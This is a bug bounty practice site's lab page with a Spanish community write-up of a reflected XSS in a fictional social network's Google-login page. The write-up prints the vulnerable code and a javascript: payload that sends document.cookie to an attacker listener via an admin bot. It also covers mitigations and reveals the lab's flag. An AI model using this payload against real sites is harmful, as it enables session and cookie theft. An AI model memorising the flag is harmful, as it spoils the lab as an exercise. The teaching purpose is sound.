BBLABS v2BBLABSv2
>Home>Labs
>New labs

Latest 3 labs

Loading…

View all labs →
>Creators>Ranking
>Learn

Learn bug bounty

AcademyGuides, cheatsheets and glossaryVulnerabilitiesXSS, SQLi, IDOR, SSRF and moreHunter RoadmapYour step-by-step bug bounty pathBlogBug bounty guides and news
>Business>Pricing
ES
Log inLog in
>Home>Labs>New labs>Creators>Ranking>Learn>Business>Pricing
ES
Sign inCreate account
  1. Home
  2. Labs
  3. Reflected XSS via `auth_url` + admin DM bot + cookie exfil
Hard$50045 min

Contact

Practice, learn and hack

Bug bounty practice platform with labs based on real reports. Learn ethical hacking in safe environments.

contact→

Follow us

YouTube
@0xGorka
X
@gorkaelbochi
LinkedIn
gorka-el-bochi-morillo
Instagram
@_.gorkaaa.b
Email
team@bblabs.es

Access every lab from €7.99/mo

New labs every week. Cancel anytime.

Create account

BBLabs is the bug bounty labs platform where you learn bug bounty with real vulnerabilities extracted from paid reports on HackerOne, Bugcrowd and Intigriti. Here you practice web hacking —XSS, SQLi, IDOR, SSRF, CSRF and more— in downloadable environments, capture the flag, read the writeup and apply the technique on active bug bounty programs.

BBLabs is the alternative to HackTheBox, TryHackMe and PentesterLab for those who want to practice bug bounty with real reports instead of artificial CTFs. From €7.99/mo, no commitment.

→ Learn bug bounty from scratch→ How to do bug bounty step by step→ Real bug bounty reports→ BBLabs for companies and academiesLabsAcademyVulnerabilitiesToolsHunter rankingXSS labsIDOR labsSSRF labsCSRF labsHackTheBox alternativeHack4u alternativeTryHackMe alternativePortSwigger alternativePentesterLab alternativeBug Bounty Labs comparisonHackerOne to practiceOffSec / OSCP alternativeINE / eWPT alternativeHTB Academy alternativeDVWA alternativeJuice Shop alternativeVulnHub alternativePentesterAcademy alternativeRoot-Me alternativeHackTheBox vs TryHackMeBest bug bounty platforms 2026BlogSpoilersWhat is bug bounty?How much do you earn in bug bounty?OWASP Top 10 explainedBest sites to practice web hackingHow to become an ethical hacker from scratchBurp Suite tutorial (Spanish)OSCP guide and prepGoogle Dorks for bug bountyHow much an ethical hacker earns in SpainBug bounty tools 2026Best cybersecurity certifications 2026Burp Suite tutorialsqlmap tutorialffuf web fuzzingnuclei tutorialHTTP Request SmugglingWAF bypassPrompt injection (LLM)Google Dorks
Made withand code
TermsPrivacyComparisonES

© 2026 BBLABS v2 — All rights reserved

Reflected XSS via `auth_url` + admin DM bot + cookie exfil

By @gorka

Red social ficticia "Plux" (login + feed + chat DM + notificaciones + ambient ticker) construida sobre Express + TypeScript con un sink XSS reflejado en `/googleAuthorization.html`. El parámetro GET `auth_url` se asigna directamente al atributo `href` de un botón "Continuar a Google" que se auto-clickea tras 2.2 segundos vía `setTimeout`. Un valor `auth_url=javascript:...` ejecuta el código en el origen de Plux. El admin **Marina Reyes** (bot Puppeteer) polea su bandeja de DMs cada 5s, extrae URLs, las abre en Chromium con sus cookies cargadas (`plux_sid` httpOnly + `plux_flag` no-httpOnly), y permanece en la página 4.5s — tiempo suficiente para que el sink dispare el auto-click y el payload `fetch` exfiltre `document.cookie` al listener del atacante. La cookie `plux_flag` contiene la flag en claro

630 views9 completedUpdated Aug 2026
Log in to start

Learn to find this bug

This bug paid $500 on HackerOne.

Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.

hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week
Create account
I already have an account

Access to all labs · no commitment · cancel anytime

Hunters who solved it· 8

flyingwhales1
@flyingwhales10 days ago
r4mattra2
@r4mattra11 days ago
XL3
@xl4n26 days ago
darioinformatica200332123
@darioinformatica20033212328 days ago
CG
@cgomezpobcross28 days ago
cgomezpobbb
@cgomezpobbb29 days ago
AL
@alex.burja.200029 days ago
benjaminnocervigni
@benjaminnocervigniJun 2026

Objectives

1
Encontrar el flujo de login con Google en `/login`
2
Construir un PoC con `auth_url=javascript:alert(document.domain)`
3
Identificar al admin Marina Reyes
4
Construir el payload de exfil
5
Levantar un listener HTTP en el puerto 9999 del host
6
Enviar a Marina por DM el enlace

Information

Platform
HackerOne
Difficulty
Hard
Duration
45 min
Bounty
$500
Completed
9
Creator
gorka@gorka
Collaborators

Achievement you'll earn

Solve this lab to unlock this shareable achievement

BBLABS.ESLab Solved
Hard$500
// achievement_unlocked

Reflected XSS via `auth_url` + admin DM bot + cookie exfil

XSS
Aug 2026
gorka
solved_by@gorkaMember since Mar 2026
bblabs.es// real bug bounty practice

Community writeups

Plux es una red social ficticia minimalista, construida sobre Express +
TypeScript con frontend de HTML/CSS/JS plano servido como estáticos.
El estado vive completamente en memoria (Maps de users, posts, messages,
notifications) — sin SQLite. Un reinicio del contenedor = lab limpio.

Capa 1 — El sink XSS (CWE-79)

server/public/googleAuthorization.html es una página estándar de "iniciando
sesión con Google" con un botón blanco grande "Continuar a Google →". El JS
inline:

const params = new URLSearchParams(location.search);
const authUrl = params.get('auth_url') || 'https://accounts.google.com/o/oauth2/v2/auth?...';
const btn = document.getElementById('continue-btn');
btn.href = authUrl;                          // ⚠ reflexión sin validar
setTimeout(() => btn.click(), 2200);         // ⚠ auto-click → activa javascript: URI

El sink es la asignación btn.href = authUrl. Browsers permiten clickear
programáticamente un <a href="javascript:..."> y eso ejecuta el código
como si fuera JS de la propia página (mismo origin). Con
auth_url=javascript:alert(document.domain) salta el alert tras 2.2s.

Capa 2 — Cookie sin httpOnly (CWE-1004)

En server/src/auth.ts:setSessionCookies:

res.cookie('plux_sid', token, { httpOnly: true,  ... });   // postura correcta
if (u.role === 'admin') {
  res.cookie('plux_flag', FLAG, { httpOnly: false, ... }); // anti-patrón
}

Solo el admin recibe plux_flag. El comentario en código justifica
narrativamente el anti-patrón ("el SDK de analytics interno lo lee con
JS"). El valor de la cookie es la flag en claro: FLAG{md5(preimage)}.

Capa 3 — Bot admin (Puppeteer)

server/src/adminBot.ts ejecuta un loop cada 5s:

  1. Login del bot como admin (password rotada por boot, leída de
    process.env.ADMIN_PASSWORD que seed.ts setea).
  2. GET /api/_internal/admin-inbox?since_min=10 — devuelve mensajes que
    le mandaron en los últimos 10 minutos y que el bot aún no ha "visto".
  3. Por cada mensaje con URL: rewrite 127.0.0.1 → host.docker.internal,
    allowlist (localhost, 127.0.0.1, host.docker.internal, plux),
    launch Chromium, page.setCookie(plux_sid + plux_flag) para los 4
    hostnames del lab, page.goto(url, { waitUntil: 'domcontentloaded' }),
    esperar 4.5s (dwell), cerrar.

El allowlist solo aplica a la URL del PAGE NAVIGATION del bot. El fetch
que la página XSS-vulnerable ejecuta después del click NO está restringido
— ese es el canal de exfil hacia host.docker.internal:9999.

Capa 4 — Ambient activity (UX vivo)

server/src/ambient.ts:

  • Cada 8–15s un bot ambiente envía DM a otro bot ("¿café en 30 min?", etc.).
  • Cada 20–35s un bot likea un post aleatorio.
  • Los bots se marcan "online" cada 30s.
  • Cuando el atacante envía un mensaje a un bot ambiente, 35% de prob.
    de respuesta tras 2–4s ("¡hey! ¿qué tal?").
  • Cuando el atacante envía un mensaje al admin Marina: ella responde a
    los 3s ("¡hola! ¿en qué puedo ayudarte?") y, si el mensaje contiene
    una URL, responde a los 6s adicionales ("voy a echarle un vistazo,
    gracias por avisar 🙏") — dando sensación de agente real antes de que
    el bot Puppeteer abra el enlace.

La cadena completa

  1. Atacante login a Plux.
  2. Construye payload javascript:fetch('http://host.docker.internal:9999/?c='+encodeURIComponent(document.cookie)).
  3. URL-encode y mete en /googleAuthorization.html?auth_url=....
  4. Manda el link a Marina por DM.
  5. Marina responde scripts ("hola", "voy a echarle un vistazo").
  6. El bot Puppeteer abre la URL con plux_sid (httpOnly) y plux_flag
    (no httpOnly) ya inyectadas como cookies del dominio del lab.
  7. El JS de la página lee auth_url, lo planta en href, auto-clickea.
  8. El javascript: URI ejecuta fetch('http://host.docker.internal:9999/?c='+encodeURIComponent(document.cookie)).
  9. document.cookie en el navegador del bot devuelve plux_flag=FLAG{...}
    (porque plux_sid es httpOnly y no aparece ahí).
  10. El listener del alumno recibe la request y muestra la cookie
    en el access log.

Por qué este patrón es real

El template viene de un reporte de bug bounty (intent: "lab al estilo
del reporte original donde googleAuthorization.html?auth_url=javascript:alert(document.domain)
disparaba XSS"). El patrón es común en flujos de OAuth donde el
frontend recibe la URL de autorización ya construida por el backend y
la pone "ciegamente" en un <a> — sin validar que el esquema sea
https: y el host accounts.google.com.

Mitigaciones (cubiertas en el writeup)

// Antes de asignar a btn.href:
try {
  const u = new URL(authUrl);
  if (u.protocol !== 'https:' || !u.host.endsWith('accounts.google.com')) {
    throw new Error('auth_url no es de Google');
  }
  btn.href = u.toString();
} catch (e) {
  showError('No pudimos completar el login con Google.');
  return;
}

Y en la cookie:

res.cookie('plux_flag', value, { httpOnly: true, secure: true, sameSite: 'lax' });

Si tu SDK necesita el valor en JS, dale un endpoint /api/internal-token
con requireAuth — nunca metas datos sensibles en una cookie no httpOnly.

Flag

FLAG{a669a43d15eb9581e13d722eb4b4b33b}

Verificación:

echo -n 'plux::share-link-xss::auth_url-href-javascript::2026' | md5sum
# a669a43d15eb9581e13d722eb4b4b33b
antoniorivera
@antoniorivera
zunderrub@zunderrub
Updated
Aug 2026

Download the environment

Reproduce it and find the bug yourself

Create account

Tools

Burp SuiteNavegador

Prerequisites

  • Concepto de RXSS
  • DevTools

Tags

XSS